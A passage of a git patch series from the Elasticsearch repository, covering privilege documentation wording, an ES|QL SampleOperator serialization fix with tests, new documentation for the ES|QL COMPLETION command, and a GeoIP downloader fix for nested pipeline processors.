@@ -340,8 +344,10 @@ This section lists the privileges that you can assign to a role.
 `index`
 :   Privilege to index and update documents.
 
-    :::{admonition} Deprecated in 8.0
-    Also grants the permission to update the index mapping (but not the data streams mapping), using the [updating mapping API](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-indices-put-mapping) or by relying on [dynamic field mapping](docs-content://manage-data/data-store/mapping/dynamic-mapping.md). In a future major release, this privilege will not grant any mapping update permissions.
+    :::{important}
+    Starting from 8.0, this privilege no longer grants the permission to update index mappings.
+    In earlier versions, it implicitly permitted index mapping updates (excluding data stream mappings) via the [updating mapping API](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-indices-put-mapping) or through [dynamic field mapping](docs-content://manage-data/data-store/mapping/dynamic-mapping.md).
+    Mapping update capabilities will be fully removed in a future major release.
     :::
 
 `maintenance`
@@ -389,8 +395,10 @@ This section lists the privileges that you can assign to a role.
 `write`
 :   Privilege to perform all write operations to documents, which includes the permission to index, update, and delete documents as well as performing bulk operations, while also allowing to dynamically update the index mapping.
 
-    :::{admonition} Deprecated in 8.0
-    It also grants the permission to update the index mapping (but not the data streams mapping), using the [updating mapping API](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-indices-put-mapping). This will be retracted in a future major release.
+    :::{important}
+    Starting from 8.0, this privilege no longer grants the permission to update index mappings.
+    In earlier versions, it implicitly permitted index mapping updates (excluding data stream mappings) via the [updating mapping API](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-indices-put-mapping) or through [dynamic field mapping](docs-content://manage-data/data-store/mapping/dynamic-mapping.md).
+    Mapping update capabilities will be fully removed in a future major release.
     :::
 
 ## Run as privilege [_run_as_privilege]

From 9d82c486d6298add6f391609d59882d9a5bf668e Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Iv=C3=A1n=20Cea=20Fontenla?= <ivancea96@outlook.com>
Date: Mon, 21 Jul 2025 16:46:41 +0200
Subject: [PATCH 198/299] [9.1] ESQL: Added Sample operator NamedWritable to
 plugin (#131541) (#131621)

Manual 9.1 backport of https://github.com/elastic/elasticsearch/pull/131541

There's a TransportVersion change here
---
 docs/changelog/131541.yaml                    |  5 ++
 .../org/elasticsearch/TransportVersions.java  |  1 +
 .../compute/operator/SampleOperator.java      | 30 +++++---
 .../operator/SampleOperatorStatusTests.java   | 72 +++++++++++++++++++
 .../xpack/esql/plugin/EsqlPlugin.java         |  2 +
 5 files changed, 101 insertions(+), 9 deletions(-)
 create mode 100644 docs/changelog/131541.yaml
 create mode 100644 x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/operator/SampleOperatorStatusTests.java

diff --git a/docs/changelog/131541.yaml b/docs/changelog/131541.yaml
new file mode 100644
index 0000000000000..5c658c194385a
--- /dev/null
+++ b/docs/changelog/131541.yaml
@@ -0,0 +1,5 @@
+pr: 131541
+summary: Added Sample operator `NamedWritable` to plugin
+area: ES|QL
+type: bug
+issues: []
diff --git a/server/src/main/java/org/elasticsearch/TransportVersions.java b/server/src/main/java/org/elasticsearch/TransportVersions.java
index 3e6ff54140700..9720564a7a520 100644
--- a/server/src/main/java/org/elasticsearch/TransportVersions.java
+++ b/server/src/main/java/org/elasticsearch/TransportVersions.java
@@ -330,6 +330,7 @@ static TransportVersion def(int id) {
     public static final TransportVersion MAPPINGS_IN_DATA_STREAMS = def(9_112_0_00);
     public static final TransportVersion ESQL_SPLIT_ON_BIG_VALUES_9_1 = def(9_112_0_01);
     public static final TransportVersion ESQL_FIXED_INDEX_LIKE_9_1 = def(9_112_0_02);
+    public static final TransportVersion ESQL_SAMPLE_OPERATOR_STATUS_9_1 = def(9_112_0_03);
 
     /*
      * STOP! READ THIS FIRST! No, really,
diff --git a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/operator/SampleOperator.java b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/operator/SampleOperator.java
index 56ba95f66f5fa..47d0be6c314e5 100644
--- a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/operator/SampleOperator.java
+++ b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/operator/SampleOperator.java
@@ -66,11 +66,11 @@ public String describe() {
     private final RandomSamplingQuery.RandomSamplingIterator randomSamplingIterator;
     private boolean finished;
 
-    private int pagesProcessed = 0;
-    private int rowsReceived = 0;
-    private int rowsEmitted = 0;
     private long collectNanos;
     private long emitNanos;
+    private int pagesProcessed = 0;
+    private long rowsReceived = 0;
+    private long rowsEmitted = 0;
 
     private SampleOperator(double probability, int seed) {
         finished = false;
@@ -109,7 +109,7 @@ private void createOutputPage(Page page) {
         final int[] sampledPositions = new int[page.getPositionCount()];
         int sampledIdx = 0;
         for (int i = randomSamplingIterator.docID(); i - rowsReceived < page.getPositionCount(); i = randomSamplingIterator.nextDoc()) {
-            sampledPositions[sampledIdx++] = i - rowsReceived;
+            sampledPositions[sampledIdx++] = Math.toIntExact(i - rowsReceived);
         }
         if (sampledIdx > 0) {
             outputPages.add(page.filter(Arrays.copyOf(sampledPositions, sampledIdx)));
@@ -167,7 +167,7 @@ public Operator.Status status() {
         return new Status(collectNanos, emitNanos, pagesProcessed, rowsReceived, rowsEmitted);
     }
 
-    private record Status(long collectNanos, long emitNanos, int pagesProcessed, int rowsReceived, int rowsEmitted)
+    public record Status(long collectNanos, long emitNanos, int pagesProcessed, long rowsReceived, long rowsEmitted)
         implements
             Operator.Status {
 
@@ -178,7 +178,13 @@ private record Status(long collectNanos, long emitNanos, int pagesProcessed, int
         );
 
         Status(StreamInput streamInput) throws IOException {
-            this(streamInput.readVLong(), streamInput.readVLong(), streamInput.readVInt(), streamInput.readVInt(), streamInput.readVInt());
+            this(
+                streamInput.readVLong(),
+                streamInput.readVLong(),
+                streamInput.readVInt(),
+                streamInput.readVLong(),
+                streamInput.readVLong()
+            );
         }
 
         @Override
@@ -186,8 +192,8 @@ public void writeTo(StreamOutput out) throws IOException {
             out.writeVLong(collectNanos);
             out.writeVLong(emitNanos);
             out.writeVInt(pagesProcessed);
-            out.writeVInt(rowsReceived);
-            out.writeVInt(rowsEmitted);
+            out.writeVLong(rowsReceived);
+            out.writeVLong(rowsEmitted);
         }
 
         @Override
@@ -236,7 +242,13 @@ public String toString() {
 
         @Override
         public TransportVersion getMinimalSupportedVersion() {
-            return TransportVersions.ZERO;
+            assert false : "must not be called when overriding supportsVersion";
+            throw new UnsupportedOperationException("must not be called when overriding supportsVersion");
+        }
+
+        @Override
+        public boolean supportsVersion(TransportVersion version) {
+            return version.onOrAfter(TransportVersions.ESQL_SAMPLE_OPERATOR_STATUS_9_1);
         }
     }
 }
diff --git a/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/operator/SampleOperatorStatusTests.java b/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/operator/SampleOperatorStatusTests.java
new file mode 100644
index 0000000000000..50f3f456f3745
--- /dev/null
+++ b/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/operator/SampleOperatorStatusTests.java
@@ -0,0 +1,72 @@
+/*
+ * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+ * or more contributor license agreements. Licensed under the Elastic License
+ * 2.0; you may not use this file except in compliance with the Elastic License
+ * 2.0.
+ */
+
+package org.elasticsearch.compute.operator;
+
+import org.elasticsearch.common.Strings;
+import org.elasticsearch.common.io.stream.Writeable;
+import org.elasticsearch.test.AbstractWireSerializingTestCase;
+import org.elasticsearch.test.ESTestCase;
+
+import static org.hamcrest.Matchers.equalTo;
+
+public class SampleOperatorStatusTests extends AbstractWireSerializingTestCase<SampleOperator.Status> {
+    public static SampleOperator.Status simple() {
+        return new SampleOperator.Status(500012, 200012, 123, 111, 222);
+    }
+
+    public static String simpleToJson() {
+        return """
+            {
+              "collect_nanos" : 500012,
+              "collect_time" : "500micros",
+              "emit_nanos" : 200012,
+              "emit_time" : "200micros",
+              "pages_processed" : 123,
+              "rows_received" : 111,
+              "rows_emitted" : 222
+            }""";
+    }
+
+    public void testToXContent() {
+        assertThat(Strings.toString(simple(), true, true), equalTo(simpleToJson()));
+    }
+
+    @Override
+    protected Writeable.Reader<SampleOperator.Status> instanceReader() {
+        return SampleOperator.Status::new;
+    }
+
+    @Override
+    public SampleOperator.Status createTestInstance() {
+        return new SampleOperator.Status(
+            randomNonNegativeLong(),
+            randomNonNegativeLong(),
+            randomNonNegativeInt(),
+            randomNonNegativeLong(),
+            randomNonNegativeLong()
+        );
+    }
+
+    @Override
+    protected SampleOperator.Status mutateInstance(SampleOperator.Status instance) {
+        long collectNanos = instance.collectNanos();
+        long emitNanos = instance.emitNanos();
+        int pagesProcessed = instance.pagesProcessed();
+        long rowsReceived = instance.rowsReceived();
+        long rowsEmitted = instance.rowsEmitted();
+        switch (between(0, 4)) {
+            case 0 -> collectNanos = randomValueOtherThan(collectNanos, ESTestCase::randomNonNegativeLong);
+            case 1 -> emitNanos = randomValueOtherThan(emitNanos, ESTestCase::randomNonNegativeLong);
+            case 2 -> pagesProcessed = randomValueOtherThan(pagesProcessed, ESTestCase::randomNonNegativeInt);
+            case 3 -> rowsReceived = randomValueOtherThan(rowsReceived, ESTestCase::randomNonNegativeLong);
+            case 4 -> rowsEmitted = randomValueOtherThan(rowsEmitted, ESTestCase::randomNonNegativeLong);
+            default -> throw new UnsupportedOperationException();
+        }
+        return new SampleOperator.Status(collectNanos, emitNanos, pagesProcessed, rowsReceived, rowsEmitted);
+    }
+}
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/EsqlPlugin.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/EsqlPlugin.java
index 7cba5eeb56278..1374b38c15999 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/EsqlPlugin.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/EsqlPlugin.java
@@ -33,6 +33,7 @@
 import org.elasticsearch.compute.operator.HashAggregationOperator;
 import org.elasticsearch.compute.operator.LimitOperator;
 import org.elasticsearch.compute.operator.MvExpandOperator;
+import org.elasticsearch.compute.operator.SampleOperator;
 import org.elasticsearch.compute.operator.exchange.ExchangeService;
 import org.elasticsearch.compute.operator.exchange.ExchangeSinkOperator;
 import org.elasticsearch.compute.operator.exchange.ExchangeSourceOperator;
@@ -328,6 +329,7 @@ public List<NamedWriteableRegistry.Entry> getNamedWriteables() {
         entries.add(AsyncOperator.Status.ENTRY);
         entries.add(EnrichLookupOperator.Status.ENTRY);
         entries.add(LookupFromIndexOperator.Status.ENTRY);
+        entries.add(SampleOperator.Status.ENTRY);
         entries.add(ExpressionQueryBuilder.ENTRY);
         entries.add(PlanStreamWrapperQueryBuilder.ENTRY);
 

From d4fc667011a33fc6641bd1cd282b5a1794f64e3c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Aur=C3=A9lien=20FOUCRET?= <aurelien.foucret@gmail.com>
Date: Mon, 21 Jul 2025 18:16:33 +0200
Subject: [PATCH 199/299] [ES|QL] Add doc for the COMPLETION command (#131010)
 (#131632)

---
 .../_snippets/commands/layout/completion.md   | 106 ++++++++++++++++++
 .../_snippets/lists/processing-commands.md    |   1 +
 .../esql/commands/processing-commands.md      |   3 +
 3 files changed, 110 insertions(+)
 create mode 100644 docs/reference/query-languages/esql/_snippets/commands/layout/completion.md

diff --git a/docs/reference/query-languages/esql/_snippets/commands/layout/completion.md b/docs/reference/query-languages/esql/_snippets/commands/layout/completion.md
new file mode 100644
index 0000000000000..116247697036c
--- /dev/null
+++ b/docs/reference/query-languages/esql/_snippets/commands/layout/completion.md
@@ -0,0 +1,106 @@
+## `COMPLETION` [esql-completion]
+
+```yaml {applies_to}
+serverless: preview
+stack: preview 9.1.0
+```
+
+The `COMPLETION` command allows you to send prompts and context to a Large Language Model (LLM) directly within your ES|QL queries, to perform text generation tasks.
+
+**Syntax**
+
+```esql
+COMPLETION [column =] prompt WITH inference_id
+```
+
+**Parameters**
+
+`column`
+:   (Optional) The name of the output column containing the LLM's response.
+    If not specified, the results will be stored in a column named `completion`.
+    If the specified column already exists, it will be overwritten with the new results.
+
+`prompt`
+:   The input text or expression used to prompt the LLM.
+    This can be a string literal or a reference to a column containing text.
+
+`inference_id`
+:   The ID of the [inference endpoint](docs-content://explore-analyze/elastic-inference/inference-api.md) to use for the task.
+    The inference endpoint must be configured with the `completion` task type.
+
+**Description**
+
+The `COMPLETION` command provides a general-purpose interface for
+text generation tasks using a Large Language Model (LLM) in ES|QL.
+
+`COMPLETION` supports a wide range of text generation tasks. Depending on your
+prompt and the model you use, you can perform arbitrary text generation tasks
+including:
+
+- Question answering
+- Summarization
+- Translation
+- Content rewriting
+- Creative generation
+
+**Requirements**
+
+To use this command, you must deploy your LLM model in Elasticsearch as
+an [≈inference endpoint](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-inference-put) with the
+task type `completion`.
+
+**Examples**
+
+Use the default column name (results stored in `completion` column):
+
+```esql
+ROW question = "What is Elasticsearch?"
+| COMPLETION question WITH test_completion_model
+| KEEP question, completion
+```
+
+| question:keyword       | completion:keyword                        |
+|------------------------|-------------------------------------------|
+| What is Elasticsearch? | A distributed search and analytics engine |
+
+Specify the output column (results stored in `answer` column):
+
+```esql
+ROW question = "What is Elasticsearch?"
+| COMPLETION answer = question WITH test_completion_model
+| KEEP question, answer
+```
+
+| question:keyword | answer:keyword |
+| --- | --- |
+| What is Elasticsearch? | A distributed search and analytics engine |
+
+Summarize the top 10 highest-rated movies using a prompt:
+
+```esql
+FROM movies
+| SORT rating DESC
+| LIMIT 10
+| EVAL prompt = CONCAT(
+   "Summarize this movie using the following information: \n",
+   "Title: ", title, "\n",
+   "Synopsis: ", synopsis, "\n",
+   "Actors: ", MV_CONCAT(actors, ", "), "\n",
+  )
+| COMPLETION summary = prompt WITH test_completion_model
+| KEEP title, summary, rating
+```
+
+
+| title:keyword | summary:keyword | rating:double |
+| --- | --- | --- |
+| The Shawshank Redemption | A tale of hope and redemption in prison. | 9.3 |
+| The Godfather | A mafia family's rise and fall. | 9.2 |
+| The Dark Knight | Batman battles the Joker in Gotham. | 9.0 |
+| Pulp Fiction | Interconnected crime stories with dark humor. | 8.9 |
+| Fight Club | A man starts an underground fight club. | 8.8 |
+| Inception | A thief steals secrets through dreams. | 8.8 |
+| The Matrix | A hacker discovers reality is a simulation. | 8.7 |
+| Parasite | Class conflict between two families. | 8.6 |
+| Interstellar | A team explores space to save humanity. | 8.6 |
+| The Prestige | Rival magicians engage in dangerous competition. | 8.5 |
diff --git a/docs/reference/query-languages/esql/_snippets/lists/processing-commands.md b/docs/reference/query-languages/esql/_snippets/lists/processing-commands.md
index 70bb3fc7e1775..8bfcd2a20ac33 100644
--- a/docs/reference/query-languages/esql/_snippets/lists/processing-commands.md
+++ b/docs/reference/query-languages/esql/_snippets/lists/processing-commands.md
@@ -1,4 +1,5 @@
 * [preview] [`CHANGE_POINT`](../../commands/processing-commands.md#esql-change_point)
+* [preview] [`COMPLETION`](../../commands/processing-commands.md#esql-completion)
 * [`DISSECT`](../../commands/processing-commands.md#esql-dissect)
 * [`DROP`](../../commands/processing-commands.md#esql-drop)
 * [`ENRICH`](../../commands/processing-commands.md#esql-enrich)
diff --git a/docs/reference/query-languages/esql/commands/processing-commands.md b/docs/reference/query-languages/esql/commands/processing-commands.md
index 6d00259e49f73..1f07e8b3b8c2c 100644
--- a/docs/reference/query-languages/esql/commands/processing-commands.md
+++ b/docs/reference/query-languages/esql/commands/processing-commands.md
@@ -20,6 +20,9 @@ mapped_pages:
 :::{include} ../_snippets/commands/layout/change_point.md
 :::
 
+:::{include} ../_snippets/commands/layout/completion.md
+:::
+
 :::{include} ../_snippets/commands/layout/dissect.md
 :::
 

From 8d2f53fdd241e45cb393cce6ea630c754a13f4bc Mon Sep 17 00:00:00 2001
From: Keith Massey <keith.massey@elastic.co>
Date: Mon, 21 Jul 2025 13:36:22 -0500
Subject: [PATCH 200/299] Correctly handling
 download_database_on_pipeline_creation within a pipeline processor within a
 default or final pipeline (#131236) (#131639)

---
 docs/changelog/131236.yaml                    |   6 +
 .../geoip/GeoIpDownloaderTaskExecutor.java    | 165 ++++++++++++++++--
 .../GeoIpDownloaderTaskExecutorTests.java     |  95 ++++++++++
 3 files changed, 252 insertions(+), 14 deletions(-)
 create mode 100644 docs/changelog/131236.yaml

diff --git a/docs/changelog/131236.yaml b/docs/changelog/131236.yaml
new file mode 100644
index 0000000000000..13e3190098404
--- /dev/null
+++ b/docs/changelog/131236.yaml
@@ -0,0 +1,6 @@
+pr: 131236
+summary: Correctly handling `download_database_on_pipeline_creation` within a pipeline
+  processor within a default or final pipeline
+area: Ingest Node
+type: bug
+issues: []
diff --git a/modules/ingest-geoip/src/main/java/org/elasticsearch/ingest/geoip/GeoIpDownloaderTaskExecutor.java b/modules/ingest-geoip/src/main/java/org/elasticsearch/ingest/geoip/GeoIpDownloaderTaskExecutor.java
index 087a5b4e6296c..6d55e94b0a23d 100644
--- a/modules/ingest-geoip/src/main/java/org/elasticsearch/ingest/geoip/GeoIpDownloaderTaskExecutor.java
+++ b/modules/ingest-geoip/src/main/java/org/elasticsearch/ingest/geoip/GeoIpDownloaderTaskExecutor.java
@@ -21,6 +21,7 @@
 import org.elasticsearch.cluster.ClusterChangedEvent;
 import org.elasticsearch.cluster.ClusterStateListener;
 import org.elasticsearch.cluster.metadata.IndexAbstraction;
+import org.elasticsearch.cluster.metadata.IndexMetadata;
 import org.elasticsearch.cluster.metadata.ProjectId;
 import org.elasticsearch.cluster.metadata.ProjectMetadata;
 import org.elasticsearch.cluster.node.DiscoveryNode;
@@ -47,6 +48,7 @@
 import org.elasticsearch.transport.RemoteTransportException;
 
 import java.util.Collections;
+import java.util.HashMap;
 import java.util.HashSet;
 import java.util.List;
 import java.util.Map;
@@ -280,11 +282,14 @@ static boolean hasAtLeastOneGeoipProcessor(ProjectMetadata projectMetadata) {
             return false;
         }
 
-        return projectMetadata.indices().values().stream().anyMatch(indexMetadata -> {
+        for (IndexMetadata indexMetadata : projectMetadata.indices().values()) {
             String defaultPipeline = IndexSettings.DEFAULT_PIPELINE.get(indexMetadata.getSettings());
             String finalPipeline = IndexSettings.FINAL_PIPELINE.get(indexMetadata.getSettings());
-            return checkReferencedPipelines.contains(defaultPipeline) || checkReferencedPipelines.contains(finalPipeline);
-        });
+            if (checkReferencedPipelines.contains(defaultPipeline) || checkReferencedPipelines.contains(finalPipeline)) {
+                return true;
+            }
+        }
+        return false;
     }
 
     /**
@@ -297,12 +302,26 @@ static boolean hasAtLeastOneGeoipProcessor(ProjectMetadata projectMetadata) {
     @SuppressWarnings("unchecked")
     private static Set<String> pipelinesWithGeoIpProcessor(ProjectMetadata projectMetadata, boolean downloadDatabaseOnPipelineCreation) {
         List<PipelineConfiguration> configurations = IngestService.getPipelines(projectMetadata);
+        Map<String, PipelineConfiguration> pipelineConfigById = HashMap.newHashMap(configurations.size());
+        for (PipelineConfiguration configuration : configurations) {
+            pipelineConfigById.put(configuration.getId(), configuration);
+        }
+        // this map is used to keep track of pipelines that have already been checked
+        Map<String, Boolean> pipelineHasGeoProcessorById = HashMap.newHashMap(configurations.size());
         Set<String> ids = new HashSet<>();
         // note: this loop is unrolled rather than streaming-style because it's hot enough to show up in a flamegraph
         for (PipelineConfiguration configuration : configurations) {
             List<Map<String, Object>> processors = (List<Map<String, Object>>) configuration.getConfig().get(Pipeline.PROCESSORS_KEY);
-            if (hasAtLeastOneGeoipProcessor(processors, downloadDatabaseOnPipelineCreation)) {
-                ids.add(configuration.getId());
+            String pipelineName = configuration.getId();
+            if (pipelineHasGeoProcessorById.containsKey(pipelineName) == false) {
+                if (hasAtLeastOneGeoipProcessor(
+                    processors,
+                    downloadDatabaseOnPipelineCreation,
+                    pipelineConfigById,
+                    pipelineHasGeoProcessorById
+                )) {
+                    ids.add(pipelineName);
+                }
             }
         }
         return Collections.unmodifiableSet(ids);
@@ -312,13 +331,27 @@ private static Set<String> pipelinesWithGeoIpProcessor(ProjectMetadata projectMe
      * Check if a list of processor contains at least a geoip processor.
      * @param processors List of processors.
      * @param downloadDatabaseOnPipelineCreation Should the download_database_on_pipeline_creation of the geoip processor be true or false.
+     * @param pipelineConfigById A Map of pipeline id to PipelineConfiguration
+     * @param pipelineHasGeoProcessorById A Map of pipeline id to Boolean, indicating whether the pipeline references a geoip processor
+     *                                    (true), does not reference a geoip processor (false), or we are currently trying to figure that
+     *                                    out (null).
      * @return true if a geoip processor is found in the processor list.
      */
-    private static boolean hasAtLeastOneGeoipProcessor(List<Map<String, Object>> processors, boolean downloadDatabaseOnPipelineCreation) {
+    private static boolean hasAtLeastOneGeoipProcessor(
+        List<Map<String, Object>> processors,
+        boolean downloadDatabaseOnPipelineCreation,
+        Map<String, PipelineConfiguration> pipelineConfigById,
+        Map<String, Boolean> pipelineHasGeoProcessorById
+    ) {
         if (processors != null) {
             // note: this loop is unrolled rather than streaming-style because it's hot enough to show up in a flamegraph
             for (Map<String, Object> processor : processors) {
-                if (hasAtLeastOneGeoipProcessor(processor, downloadDatabaseOnPipelineCreation)) {
+                if (hasAtLeastOneGeoipProcessor(
+                    processor,
+                    downloadDatabaseOnPipelineCreation,
+                    pipelineConfigById,
+                    pipelineHasGeoProcessorById
+                )) {
                     return true;
                 }
             }
@@ -330,10 +363,19 @@ private static boolean hasAtLeastOneGeoipProcessor(List<Map<String, Object>> pro
      * Check if a processor config is a geoip processor or contains at least a geoip processor.
      * @param processor Processor config.
      * @param downloadDatabaseOnPipelineCreation Should the download_database_on_pipeline_creation of the geoip processor be true or false.
+     * @param pipelineConfigById A Map of pipeline id to PipelineConfiguration
+     * @param pipelineHasGeoProcessorById A Map of pipeline id to Boolean, indicating whether the pipeline references a geoip processor
+     *                                    (true), does not reference a geoip processor (false), or we are currently trying to figure that
+     *                                    out (null).
      * @return true if a geoip processor is found in the processor list.
      */
     @SuppressWarnings("unchecked")
-    private static boolean hasAtLeastOneGeoipProcessor(Map<String, Object> processor, boolean downloadDatabaseOnPipelineCreation) {
+    private static boolean hasAtLeastOneGeoipProcessor(
+        Map<String, Object> processor,
+        boolean downloadDatabaseOnPipelineCreation,
+        Map<String, PipelineConfiguration> pipelineConfigById,
+        Map<String, Boolean> pipelineHasGeoProcessorById
+    ) {
         if (processor == null) {
             return false;
         }
@@ -352,27 +394,51 @@ private static boolean hasAtLeastOneGeoipProcessor(Map<String, Object> processor
             }
         }
 
-        return isProcessorWithOnFailureGeoIpProcessor(processor, downloadDatabaseOnPipelineCreation)
-            || isForeachProcessorWithGeoipProcessor(processor, downloadDatabaseOnPipelineCreation);
+        return isProcessorWithOnFailureGeoIpProcessor(
+            processor,
+            downloadDatabaseOnPipelineCreation,
+            pipelineConfigById,
+            pipelineHasGeoProcessorById
+        )
+            || isForeachProcessorWithGeoipProcessor(
+                processor,
+                downloadDatabaseOnPipelineCreation,
+                pipelineConfigById,
+                pipelineHasGeoProcessorById
+            )
+            || isPipelineProcessorWithGeoIpProcessor(
+                processor,
+                downloadDatabaseOnPipelineCreation,
+                pipelineConfigById,
+                pipelineHasGeoProcessorById
+            );
     }
 
     /**
      * Check if a processor config has an on_failure clause containing at least a geoip processor.
      * @param processor Processor config.
      * @param downloadDatabaseOnPipelineCreation Should the download_database_on_pipeline_creation of the geoip processor be true or false.
+     * @param pipelineConfigById A Map of pipeline id to PipelineConfiguration
+     * @param pipelineHasGeoProcessorById A Map of pipeline id to Boolean, indicating whether the pipeline references a geoip processor
+     *                                    (true), does not reference a geoip processor (false), or we are currently trying to figure that
+     *                                    out (null).
      * @return true if a geoip processor is found in the processor list.
      */
     @SuppressWarnings("unchecked")
     private static boolean isProcessorWithOnFailureGeoIpProcessor(
         Map<String, Object> processor,
-        boolean downloadDatabaseOnPipelineCreation
+        boolean downloadDatabaseOnPipelineCreation,
+        Map<String, PipelineConfiguration> pipelineConfigById,
+        Map<String, Boolean> pipelineHasGeoProcessorById
     ) {
         // note: this loop is unrolled rather than streaming-style because it's hot enough to show up in a flamegraph
         for (Object value : processor.values()) {
             if (value instanceof Map
                 && hasAtLeastOneGeoipProcessor(
                     ((Map<String, List<Map<String, Object>>>) value).get("on_failure"),
-                    downloadDatabaseOnPipelineCreation
+                    downloadDatabaseOnPipelineCreation,
+                    pipelineConfigById,
+                    pipelineHasGeoProcessorById
                 )) {
                 return true;
             }
@@ -384,13 +450,84 @@ && hasAtLeastOneGeoipProcessor(
      * Check if a processor is a foreach processor containing at least a geoip processor.
      * @param processor Processor config.
      * @param downloadDatabaseOnPipelineCreation Should the download_database_on_pipeline_creation of the geoip processor be true or false.
+     * @param pipelineConfigById A Map of pipeline id to PipelineConfiguration
+     * @param pipelineHasGeoProcessorById A Map of pipeline id to Boolean, indicating whether the pipeline references a geoip processor
+     *                                    (true), does not reference a geoip processor (false), or we are currently trying to figure that
+     *                                    out (null).
      * @return true if a geoip processor is found in the processor list.
      */
     @SuppressWarnings("unchecked")
-    private static boolean isForeachProcessorWithGeoipProcessor(Map<String, Object> processor, boolean downloadDatabaseOnPipelineCreation) {
+    private static boolean isForeachProcessorWithGeoipProcessor(
+        Map<String, Object> processor,
+        boolean downloadDatabaseOnPipelineCreation,
+        Map<String, PipelineConfiguration> pipelineConfigById,
+        Map<String, Boolean> pipelineHasGeoProcessorById
+    ) {
         final Map<String, Object> processorConfig = (Map<String, Object>) processor.get("foreach");
         return processorConfig != null
-            && hasAtLeastOneGeoipProcessor((Map<String, Object>) processorConfig.get("processor"), downloadDatabaseOnPipelineCreation);
+            && hasAtLeastOneGeoipProcessor(
+                (Map<String, Object>) processorConfig.get("processor"),
+                downloadDatabaseOnPipelineCreation,
+                pipelineConfigById,
+                pipelineHasGeoProcessorById
+            );
+    }
+
+    /**
+     * Check if a processor is a pipeline processor containing at least a geoip processor. This method also updates
+     * pipelineHasGeoProcessorById with a result for any pipelines it looks at.
+     * @param processor Processor config.
+     * @param downloadDatabaseOnPipelineCreation Should the download_database_on_pipeline_creation of the geoip processor be true or false.
+     * @param pipelineConfigById A Map of pipeline id to PipelineConfiguration
+     * @param pipelineHasGeoProcessorById A Map of pipeline id to Boolean, indicating whether the pipeline references a geoip processor
+     *                                    (true), does not reference a geoip processor (false), or we are currently trying to figure that
+     *                                    out (null).
+     * @return true if a geoip processor is found in the processors of this processor if this processor is a pipeline processor.
+     */
+    @SuppressWarnings("unchecked")
+    private static boolean isPipelineProcessorWithGeoIpProcessor(
+        Map<String, Object> processor,
+        boolean downloadDatabaseOnPipelineCreation,
+        Map<String, PipelineConfiguration> pipelineConfigById,
+        Map<String, Boolean> pipelineHasGeoProcessorById
+    ) {
+        final Map<String, Object> processorConfig = (Map<String, Object>) processor.get("pipeline");
+        if (processorConfig != null) {
+            String pipelineName = (String) processorConfig.get("name");
+            if (pipelineName != null) {
+                if (pipelineHasGeoProcessorById.containsKey(pipelineName)) {
+                    if (pipelineHasGeoProcessorById.get(pipelineName) == null) {
+                        /*
+                         * If the value is null here, it indicates that this method has been called recursively with the same pipeline name.
+                         * This will cause a runtime error when the pipeline is executed, but we're avoiding changing existing behavior at
+                         * server startup time. Instead, we just bail out as quickly as possible. It is possible that this could lead to a
+                         * geo database not being downloaded for the pipeline, but it doesn't really matter since the pipeline was going to
+                         * fail anyway.
+                         */
+                        pipelineHasGeoProcessorById.put(pipelineName, false);
+                    }
+                } else {
+                    List<Map<String, Object>> childProcessors = null;
+                    PipelineConfiguration config = pipelineConfigById.get(pipelineName);
+                    if (config != null) {
+                        childProcessors = (List<Map<String, Object>>) config.getConfig().get(Pipeline.PROCESSORS_KEY);
+                    }
+                    // We initialize this to null so that we know it's in progress and can use it to avoid stack overflow errors:
+                    pipelineHasGeoProcessorById.put(pipelineName, null);
+                    pipelineHasGeoProcessorById.put(
+                        pipelineName,
+                        hasAtLeastOneGeoipProcessor(
+                            childProcessors,
+                            downloadDatabaseOnPipelineCreation,
+                            pipelineConfigById,
+                            pipelineHasGeoProcessorById
+                        )
+                    );
+                }
+                return pipelineHasGeoProcessorById.get(pipelineName);
+            }
+        }
+        return false;
     }
 
     // starts GeoIP downloader task for a single project
diff --git a/modules/ingest-geoip/src/test/java/org/elasticsearch/ingest/geoip/GeoIpDownloaderTaskExecutorTests.java b/modules/ingest-geoip/src/test/java/org/elasticsearch/ingest/geoip/GeoIpDownloaderTaskExecutorTests.java
index eccc29d22277f..09eb7fb65585d 100644
--- a/modules/ingest-geoip/src/test/java/org/elasticsearch/ingest/geoip/GeoIpDownloaderTaskExecutorTests.java
+++ b/modules/ingest-geoip/src/test/java/org/elasticsearch/ingest/geoip/GeoIpDownloaderTaskExecutorTests.java
@@ -52,6 +52,101 @@ public void testHasAtLeastOneGeoipProcessorWhenDownloadDatabaseOnPipelineCreatio
 
     }
 
+    /*
+     * This tests that if a default or final pipeline has a pipeline processor that has a geoip processor that has
+     * download_database_on_pipeline_creation set to false, then we will correctly acknowledge that the pipeline has a geoip processor so
+     * that we download it appropriately.
+     */
+    public void testHasAtLeastOneGeoipProcessorInPipelineProcessorWhenDownloadDatabaseOnPipelineCreationIsFalse() throws IOException {
+        String innerInnerPipelineJson = """
+            {
+              "processors":[""" + getGeoIpProcessor(false) + """
+              ]
+            }
+            """;
+        String innerPipelineJson = """
+                        {
+              "processors":[{"pipeline": {"name": "innerInnerPipeline"}}
+              ]
+            }
+            """;
+        String outerPipelineJson = """
+                        {
+              "processors":[{"pipeline": {"name": "innerPipeline"}}
+              ]
+            }
+            """;
+        IngestMetadata ingestMetadata = new IngestMetadata(
+            Map.of(
+                "innerInnerPipeline",
